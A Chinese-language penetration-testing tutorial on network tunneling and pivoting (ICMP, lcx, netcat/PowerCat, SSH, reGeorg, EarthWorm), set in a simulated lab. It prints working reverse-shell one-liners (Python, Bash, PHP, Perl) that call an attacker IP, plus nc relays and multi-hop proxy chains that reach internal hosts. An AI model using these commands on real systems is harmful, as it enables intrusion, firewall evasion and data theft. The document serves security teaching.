什么是隧道?

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

常用的隧道技术有以下三种:

网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

先判断内网连通性
判断内网的连通性是指判断机器能否上外网等。(综合判断各种协议)各协议的方法如下:

TCP 协议
用瑞士jundao——netcat
执行 nc 命令:nc <IP> <端口>
HTTP 协议
用curl工具,执行curl <IP地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
ICMP 协议
用ping命令,执行ping <IP地址/域名>
DNS 协议
检测DNS连通性常用的命令是nslookup和dig

nslookup 是windows自带的DNS探测命令,执行:

nslookup www.baidu.com vps-ip
nslookup www.baidu.com     // 不指定服务器,则使用默认的DNS服务器

dig是linux系统自带的DNS探测命令,执行:

dig @vps-ip www.baidu.com
dig www.baidu.com          // 不指定服务器,则使用默认的DNS服务器

网络层隧道技术
IPv6 隧道

IPv6 隧道技术是指通过 IPv4 隧道传送IPv6 数据包文的技术。为了在 IPv4 海洋中传递 IPv6 信息,可以将 IPv4 作为隧道载体,将 IPv6 报文整体封装在 IPv4 数据报文中,使用 IPv6 报文能够穿过 IPv4 海洋,到达另一个IPv6 
将 IPv6封装在IPv4中的过程与其他协议封装相似:隧道一端的节点把IPv6数据报作为要发送给隧道另一端节点的IPv4包中的净荷数据,这样就产生了包含IPv6数据报的IPv4数据报流。如果节点A和节点B都是只支持IPv6的节点,节点A要向B发送包,A只是简单地把IPv6头的目的地址设为B的IPv6地址,然后传递给路由器X;X对IPv6包用IPv4进行封装,然后将IPv4头的目的地址设为路由器Y的IPv4地址;若路由器Y收到此IPv4包,则首先拆包,如果发现被封装的IPv6包是发给节点B的,Y就将此包正确地转发给B。

因为现阶段的边界设备、防火墙甚至入侵防御系统 还无法识别 IPv6 的通信数据,而大多数的操作系统支持 IPv6 ,所以需要进行人工配置。

64963-126s7269jpvb.png

攻击者有时会通过恶意软件来配置允许进行 IPv6 通信的设备,以避开防火墙和入侵检测系统。
配置隧道和自动隧道
配置隧道和自动隧道的主要区别在于:只有执行隧道功能的节点的IPv6地址是IPv4兼容地址时,自动隧道才是可行的。在为执行隧道功能的节点建立IP地址时,自动隧道方法无需进行配置;而配置隧道方法则要求隧道末端节点使用其他机制来获得其IPv4地址,例如采用DHCP、人工配置或其他IPv4的配置机制。
支持 IPv6 的隧道工具有 socat、6tunnel、nt6tunnel 等。

ICMP 隧道

在 ICMP 通信协议中,通信双方的两台设备不需要开放端口即可进行,而在一般的通信协议中,是必须要开放端口的。最常见的 ICMP 协议的消息为 ping 命令的回复,攻击者可以利用命令行得到比回复更多的 ICMP 请求。
在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道、DNS隧道、常规端口转发等)进行的操作都失败了,由于防火墙不会屏蔽ping数据包,所以常常会通过ping命令访问远程主机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙,实现不受限制的网络访问。

下面介绍常用的ICMP隧道工具。
icmpsh
icmpsh 工具是一个简单的ICMP反弹shell工具。可以跨平台,且运行时无需管理员权限。
下载地址:https://github.com/inquisb/icmpsh

运行需要安装Python的impacket类库,以便对tcp、udp、icmp、igmp、arp、ipv4、ipv6、smb、等进行访问。
icmpsh 运行时因为要代替系统本身的ping命令的应答程序,所以需要先执行以下命令关闭本地系统的ICMP应答,否则获得的shell不稳定:

sysctl -w net.ipv4.icmp_echo_ignore_all=1    // 恢复设为0
python icmpsh_m.py 192.168.13.144(攻击者IP) 192.168.13.128(受害者ip)
或输入./run.sh运行程序,之后提醒你输入受害者公网ip,会给出你在受害者主机上执行的命令。
给受害者主机上传icmpsh.exe并执行命令:
icmpsh.exe -t 192.168.13.144 -d 500 -b 30 -s 128
即可在攻击机上看到受害者的shell

Pingtunnel
Pingtunnel也是一个常用的ICMP隧道工具,可以跨平台,在使用时可以给隧道设置密码,从而防止隧道被滥用。
下载地址:http://freshmeat.sourceforge.net/projects/ptunnel/

下面我们做一个测试。测试环境(本地)如下:

攻击机:192.168.13.144 (模拟外网vps)
web服务器:192.168.13.128(模拟外网web服务器IP) 192.168.31.130(内网ip)
内网数据库服务器windows主机:192.168.31.131

现在将我们的攻击机代理进web服务器的内网中
在web服务器上执行

ptunnel -x kevin

63670-18j8ahav2gh.png

在攻击机上执行

ptunnel -p 192.168.13.128 -lp 1088 -da 192.168.31.131 -dp 3389 -x kevin

81114-vut1va746gp.png

上述命令的含义是:在访问攻击者vps(192.168.13.144)的1088端口时,会把数据库服务器(192.168.31.131)的3389端口的数据封装在ICMP隧道里,以Web服务器192.168.13.128为ICMP隧道跳板进行传送。整个过程中Web服务器是一个边界服务器,作为一个跳板进行数据转发。
最后在攻击者vps上面访问其本地1088端口即可与数据库服务器的3389端口建立连接:

84152-w1bc2vahiqe.png

ptunnel的参数:

 -x: 指定ICMP隧道连接的密码
 -lp: 指定攻击者要监听的本地TCP端口
 -da: 指定要转发的第三方目标机器的IP地址
 -dp: 指定要转发的第三方目标的TCP端口
 -p: 指定ICMP隧道另一端的机器的IP地址

同样可以将内网目标服务器的web服务80端口转发到攻击者本地:

ptunnel -p 192.168.13.128 -lp 1088 -da 192.168.31.131 -dp 80 -x kevin

97017-t97riiy6u0l.png

防御ICMP隧道攻击的办法
许多管理员会阻止ICMP通信进入站点。但是在出站方向,ICMP通信是被允许的,而且目前大多数的网站通信和边界设备不会过滤ICMP流量。使用ICMP协议会产生大量的ICMP数据包。我们可以通过Wireshark进行ICMP数据分析,以检测恶意的ICMP流量。

传输层隧道技术

在渗透测试中,如果内网的防火墙阻止了对指定端口的访问,在获取了目标机器的权限后,可以使用防火墙命令打开指定的端口或关闭防火墙。如果内网中存在一系列防御系统,TCP、UDP 流量会被大量拦截。

lcx端口转发
lcx是一个很经典的端口转发工具,其基于Socket套接字,有Windows和Linux两个版本。Windows的为lcx.exe,Linux的为portmap。
下载地址:https://github.com/MrAnonymous-1/lcx

一个正常的socket套接字必须具备两端:一端是服务器,监听一个端口,等待客户端连接;另一端为客户端,通过给出服务器的IP和端口,与服务端建立连接。
内网端口转发
在受害机(Windows)上面执行如下命令

环境: 
攻击机:192.168.1.109(模拟vps ip)
受害者:192.168.13.136

将受害机3389端口的数据转发到攻击者公网VPS(Windows)的8000端口上。

lcx.exe -slave <攻击者ip> 8000 127.0.0.1 3389

67089-8i3npxuwzl.png

在攻击机上面执行如下命令,将本机8000端口上监听到的数据转发到本机的4444端口上面

 lcx.exe -listen 8000 4444

79821-rxt8v3yk6g.png

此时即可登录用远程桌面登录<攻击者ip>:4444,即可访问受害者的3389端口远程桌面了。
可以看到成功连接

44584-33l33tvvs62.png

本地端口映射
如果目标服务器由于防火墙的限制,部分端口(例如3389、22)的数据无法通过防火墙,我们可以将目标服务器相应端口的数据转发到他的其他防火墙允许的端口上去。在受害机上面执行以下命令,就可以将目标3389端口透传到目标机53端口上:

lcx.exe -tran 53 192.168.13.136(受害者):3389

53307-igw8ixblbko.png

Netcat
Netcat 常称为 nc,拥有“瑞士军刀”的美誉。nc 小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能,它基于socket协议工作。在渗透测试领域,我们通常利用它来反弹shell。

常用参数
-l: 开启监听
-p:指定端口
-t: 以telnet形式应答
-e:程序重定向
-n:以数字形式表示ip
-v:显示执行命令过程
-z :  不进行交互,直接显示结果
-u :使用UDP协议传输
-w :  设置超时时间

正向shell

32283-8bqtqi1usts.png

反向shell
通常用在开启防护措施的目标机器上 例如防火墙禁止入口方向流量 但不禁止出去的流量

72566-6nzrg7d03m3.png

目标主机中无nc 获取反向shell
Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.109",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

51473-0vkk4vp10dgq.png

Bash

bash -i >& /dev/tcp/192.168.1.109/4444 0>&1

97228-evihl2splfg.png

PHP

php -r '$sock=fsockopen("192.168.1.109",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

05802-h5a96stx125.png

PERL

perl -e 'use Socket;$i="192.168.1.109";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

28210-xzi25t7hzkf.png

内网代理
假设攻击者可以访问web服务器 但不能访问数据库服务器 但web服务器可以访问数据库服务器
目标 获取数据库服务器的shell
测试环境如下:

攻击者vps
模拟公网IP:192.168.1.109
Web服务器
模拟公网IP:192.168.13.136
内网IP:192.168.31.130
数据库服务器
内网IP:192.168.31.134

攻击者先在vps上面监听2333端口:

nc -lvp 2333
接着想办法在数据库服务器上面执行以下命令
nc -ldp 3333 -e /bin/bash
最后在web服务器上面执行以下命令:
nc 192.168.1.109 2333 -c "nc -v 192.168.31.134 3333"
最后在攻击机上面获得了数据库服务器的shell

31948-axxjndequ9.png

整个过程就是:先使web服务器连上攻击机,在连接上的一瞬间再去连接位于内网的数据库服务器,web服务器是边界服务器,只当做通信的中转。

PowerCat
PowerCat就是powershell版本的nc,与nc使用方法相似,且可以上传到目标机本地执行,也可以让目标机远程下载后在内存中执行。
下载地址:https://github.com/besimorhino/powercat
导入powercat.ps1脚本

import-module .\powercat.ps1

实验环境

攻击者vps
模拟公网IP:192.168.13.136
Web服务器
模拟公网IP:192.168.13.146
内网IP:192.168.31.135
数据库服务器
内网IP:192.168.31.134

通过nc正向连接Powershell

攻击机
nc 192.168.13.146 4444 -v 
web服务器
powercat -l -p 4444 -ecmd.exe -v

19576-5e0de3hx3w3.png

89587-ayx987wn8rj.png

通过nc反向连接Powershell

攻击机
nc -lvp 4444
web服务器
powercat -c 192.168.13.146 -p 4444 -e cmd.exe -v

41255-xuaf6f5n8b.png

17307-lk2y8mbuit.png

反弹PowerShell
想要反弹powershell的话,两端必须都用powercat。

攻击机
powercat -l -v -p 4444 
受害机
powercat -c <攻击者IP> -p <攻击者端口> -v -ep
// -ep: 用于反弹powershell

85007-p8zxt2w9gm.png

02091-c4g92wxfsnj.png
成功反弹powershell

应用层隧道技术
应用层(Application layer)是七层OSI模型的第七层。应用层直接和应用程序接口并提供常见的网络应用服务。应用层的隧道技术主要利用应用软件提供的端口来发送数据,常用的协议有SSH、HTTP/HTTPS和DNS。这里我们主要讲解SSH和HTTP/HTTPS,DNS隧道我会在未来专门写一个专题进行讲解。

SSH协议
SSH 为建立在应用层基础上的安全协议,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH客户端适用于多种平台,几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台,都可运行SSH。

一般情况下,SSH协议的传输是被允许通过防火墙及边界设备的,且SSH传输过程加密,很难区分是合法的SSH会话还是攻击者建立的隧道,所以经常被攻击者所利用。攻击者使用SSH隧道突破防火墙限制后,能够建立一些之前无法建立的TCP连接。

攻击者vps(linux)
模拟公网IP:192.168.13.147
Web服务器(linux)
模拟公网IP:192.168.13.144
内网IP:192.168.31.132
数据库服务器(win)
内网IP:192.168.31.131

本地转发

ssh -CfNg -L 1153:192.168.31.131:3389 root@192.168.13.147

在本地监听1153端口 将目标主机192.168.31.131的3389端口通过web服务器192.168.13.147中转出来
然后我们连接本地监听的1153端口相对于访问目标主机的3389端口

远程转发

ssh -CfNg -R 3307:192.168.31.131:3389 root@192.168.13.147

以web服务器为跳板 将vps的3307的端口流量转发到目标主机上的3389 然后访问3307就能访问目标主机的3389

动态转发
在攻击机上执行 建立一个动态队伍SOCKS 4/5通道 输入web服务器的密码

ssh -CfNg -D 7000 root@192.168.13.144

查看是否执行

netstat -tulnp | grep ":7000"

本地挂上代理即可访问目标内网
这里的动态端口转发其实就是建立一个ssh加密的SOCKS代理通道,SOCKS代理它只是简单地将一端的系统连接到另外一端,把你的网络数据请求通过一条连接你和目标机器之间的通道,由一端转发到另一端。任何支持SOCKS协议的程序都可以使用这个加密通道进行代理访问。

防御SSH隧道的思路
SSH隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够,在系统中配置的SSH远程管理白名单,在ACL中限制只有特定的IP地址才能建立SSH,以及设置系统完全使用带外管理等方法,都可以避免这一问题。

HTTP(S) 协议
HTTP协议即超文本传输协议,是Internet上行信息传输时使用最为广泛的一种非常简单的通讯协议。部分局域网对协议进行了限制,只允许用户通过HTTP协议访问外部网站。HTTP Service 代理用于将所有的流量转发到内网。

reGeorg
reGeorg是reDuh的升级版,主要功能是将内网服务器端口的数据通过HTTP(S)隧道转发到本机,实现基于HTTP协议的通信。

上传脚本tunnel.nosocket.php到web服务器
检查一下是否成功,访问显示“Georg says, 'All seems fine'”,表示脚本运行正常。

47873-cxjn6o9mxyl.png

攻击机运行py

python reGeorgSocksProxy.py -p 9999 -u http://192.168.13.129/tunnel.nosocket.php
配置Proxifier,运行Proxifier之后设置代理 端口为9999
代理规则用默认即可!

30483-n312qc19qx.png

62588-m9w13elwc6.png
成功连上内网主机的远程桌面

DNS协议

DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术,
虽然激增的DNS流量可能会被发现,但是基于传统的socket隧道已经濒临淘汰及TCP、
UDP通信大量被防御系统连接拦截的状况,
DNS、ICMP、HTTP/HTTPS等难以被禁用的协议已成为攻击者控制隧道的主流渠道。
一方面,在网络世界中,DNS是一个必不可少的服务;另一方面,DNS报文本身具有穿透防火墙的能力。
由于防火墙和入侵检测系统设备大多不会过滤DNS流量,也为DNS成为隐蔽通道创造了有利条件。
几款DNS工具
dnscat2,下载地址:https://github.com/iagox86/dnscat2
iodine,下载地址:https://github.com/Al1ex/iodine

查看DNS连通性
首先需要知道当前服务器是否允许通过内部DNS解析外部域名

cat /etc/resolv.conf|grep -v '#'

05762-9roe5u7jwg4.png

查看是否能通过内部DNS服务器解析外部域名

nslookup baidu.com

79413-0eegyksd1cl.png
可以看到能通过内部DNS服务器解析外部域名 意味着可以使用DNS隧道实现隐蔽通信

SOCKS 代理技术
Socks代理即全能代理,就像有很多跳线的转接板,它只是简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。socks代理相应的采用socks协议的代理服务器就是SOCKS服务器,是一种通用的代理服务器。利用SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。

常见的网络场景有如下三类:

服务器在内网中,可以任意访问外部网络。
服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接。
服务器在内网中,对外只开放了部分端口(例如80端口),且服务器不能访问外部网络。

常用socks代理工具

EarthWorm
EarthWorm(EW)是一套便携式的网络工具,具有socks服务架设和端口转发两大核心功能,可以在复杂的网络环境中实现网络穿透,EarthWorm下载地址:https://github.com/rootkiter/EarthWorm

reGeorg
reGeorg是reDuh的升级版,主要功能是把内网服务器的端口通过HTTP/HTTPS隧道转发到本机,形成一个回路。

sSocks
sSocks是一个socks代理工具套装,可用来开启socks代理服务。sSocks支持socks5验证,支持IPv6和UDP,并提供反向socks代理服务。

SocksCap64
SocksCap64是一款在Windows环境中相当好用的全局代理软件,官方网站:http://www.sockscap64.com/

Proxifier
Proxifier是一款非常好用的全局代理软件,Proxifier提供了跨平台的端口转发和代理功能,适用于Windows、Linux、和MacOS平台,Proxifier官方网站:https://www.proxifier.com/

ProxyChains
ProxyChains是一款可以在Linux下实现全局代理的软件,性能稳定、可靠,可以使任何程序通过代理上网,允许TCP和DNS流量通过代理隧道,ProxyChains官方网站:http://proxychains.sourceforge.net/

EarthWorm

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。EarthWorm能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。该工具包中有多个可执行文件,以适应不同的操作系统(Linux、Windows、Mac OS、ARM-Linux均包含在内)

EW有六种命令格式,分别是ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。ssocksd命令用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于复杂网络环境的多级级联。

各命令用法展示

./ew -s ssocksd -l 1080 //开启正向socks服务 
./ew -s rcsocks -l 1080 -e 8888 //监听1080端口,1080接收的数据通过8888交互传递 
./ew -s rssocks -d rev_ip -e 8888 //开启反向socks服务。反向连接rev_ip的8888端口 
./ew -s lcx_listen -l 1080 -e 8888 //监听1080端口,1080接收的数据通过8888交互传递 
./ew -s lcx_tran -l 1080 -f forward_ip -g 8888 //监听1080端口,1080接收的数据正向传给forward_ip的8888端口 
./ew -s lcx_slave -d vps_ip -e 8888 -f B_ip -g 9999 //作为中间角色,反向连接vps的8888,正向连接B的9999。打通两者

正向SOCKS5服务器
适用于目标机器拥有一个外网IP的情况

攻击者
模拟公网IP:192.168.1.109
Web服务器
模拟公网IP:192.168.13.129
内网IP:192.168.33.2
内网主机
内网IP:192.168.33.3

在目标机器上执行

ew_for_Win.exe -s ssocksd -l 8888

47827-ngzmkb05ax8.png

然后在本地运行sockscap64添加目标机器的ip地址和端口即可访问对方内网

09437-x52sqruv3x.png

反弹SOCKS5服务器

攻击机侦听
ew_for_Win.exe -s rcsocks -l 1080 -e 888 
#在公网vps添加一个转接隧道 将1080端口收到代理请求转发给888端口
web服务器
ew_for_Win.exe -s rssocks -d 192.168.1.109 -e 888
#在web服务器上启动socks5服务 然后反弹到攻击机的888端口

67102-cstjo0q0utk.png

可以看到连接成功
现在就可以通过访问我们vps的1080端口进入目标主机的内网中了

二级网络环境(a)
适用于目标机器拥有一个外网IP地址的情况下

攻击者
模拟公网IP:192.168.1.109  
Web服务器
模拟公网IP:192.168.13.129(有公网ip地址,不能访问内网)
IP:192.168.33.2   
B主机
IP:192.168.33.3(不能访问外网,可以访问内网)   
c服务器主机
ip: 192.168.33.4(开放3389)

web服务器有两个网卡,一个连接外网(192.168.13.129),另一个只能连接内网的B主机,但不能访问内网中的其他主机资源。B主机可以访问内网其他资源,但不能访问外网。假设我们已经获得了web服务器和B主机的控制权。
我们先将ew上传至B主机上面,并用ssocksd方式启动888端口的正向socks代理:

ew_for_Win.exe -s ssocksd -l 888

83018-p2j64rimlaq.png

接着,将ew上传至web服务器中,并执行命令:

ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.33.3 -g 888

该命令将web服务器1080端口收到的代理请求转发给B主机(192.168.33.3)的888端口。

27228-iwe06e0voq.png

现在,我们就可以通过访问web服务器的公网IP(192.168.13.129)的1080端口来使用架设在B主机上的socks代理服务了,就可以访问内网c主机的3389端口了

二级网络环境(b)

攻击者vps
模拟公网IP:192.168.1.109  
A主机(没有公网ip 不能访问内网)
内网IP:192.168.33.2 
B主机
IP:192.168.33.3(不能访问外网,可以访问内网)  
c服务器主机
ip: 192.168.33.4(开放3389)

A主机既没有公网IP,但能访问外网,也不能访问内网资源,但可以访问内网B主机;内网B主机可以访问内网资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权限。
这里,我们不能像前一种情况那样通访问A主机来使用内网B主机上面架设的socks代理服务,可以通过访问vps来访问B主机上面架设的socks服务。
我们先在公网vps上传ew,在公网vps上面添加转接隧道,监听10800端口,并将10800端口收到的代理请求发送给888端口,执行命令:

ew_for_Win.exe -s lcx_listen -l 10800 -e 888

73875-v144gl6ly3r.png

然后将ew上传至内网B(192.168.33.3)主机,并利用ssocksd方式启动999端口的正向socks代理,执行命令:

ew_for_Win.exe -s ssocksd -l 999

72118-1cg6mhvw5anh.png

最后,将ew上传到内网A主机上,在A主机(192.168.33.2)上利用lcx_slave方式,将公网vps的888端口与内网B主机(192.168.33.3)的999端口连接起来,执行命令:

ew_for_Win.exe -s lcx_slave -d 192.168.1.109 -e 888 -f 192.168.33.3 -g 999

17115-dm56y1j7b0n.png

最后返回攻击机公网vps发现连接成功了

40944-uhezgcbqqv.png

此时就可以通过访问外网vps的10800端口使用在b主机假设的socks5代理了

压缩-上传数据
RAR
RAR格式介绍
RAR是一种专利文件格式,用于数据的压缩和打包,开发者为尤金·罗谢尔,"RAR"的全称是"Roshal ARchive",意为"罗谢尔的归档",其首个公开版本为RAR 1.3发布与1993年。

使用命令
Rar.exe a -k -r -s -m3 E:webs1.rar E:webs 把E:webs下的所有内容打包为1.rar,放到E:webs目录下
Rar.exe s E:webs1.rar 解压文件
以ZIP格式压缩/解压命令是一样的,只需要将文件后缀名修改为".zip"即可。

-k锁定压缩文件
-r 递归压缩 包括子目录
-s 生成存档文件
-m3 标准目录 

7-Zip
7-Zip介绍
7-Zip是一款免费且开源的压缩软件,与其他软件相比,7-Zip有更高的压缩比;与WinRAR相比,7-Zip对系统资源的消耗较少,无需安装,功能与同类型的收费软件相近。

使用命令

-r递归压缩
-o 指定输出目录
-p 指定密码

7z.exe a -r -p12345 E:webs1.7z E:webs 
把E:webs下的所有内容打包为1.7z,放到E:webs目录下,压缩密码为12345
7z.exe x -p12345 E:webs1.7z -o E:x 
把打包的1.7z文件解压到E:x目录下

上传和下载
对于不能上传shell,但是可以执行命令的Windows服务器(而且唯一的入口就是命令行环境),可以在shell命令环境中对目标服务器进行上传和下载操作。

上传和下载方法
使用FTP协议上传
使用VBS上传
利用Debug上传
利用Nishang上传
Windows中cmd窗口的文件下载(bitsadmin、certutil、iwr)
使用PowerShell下载

本文由 wulaoban 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论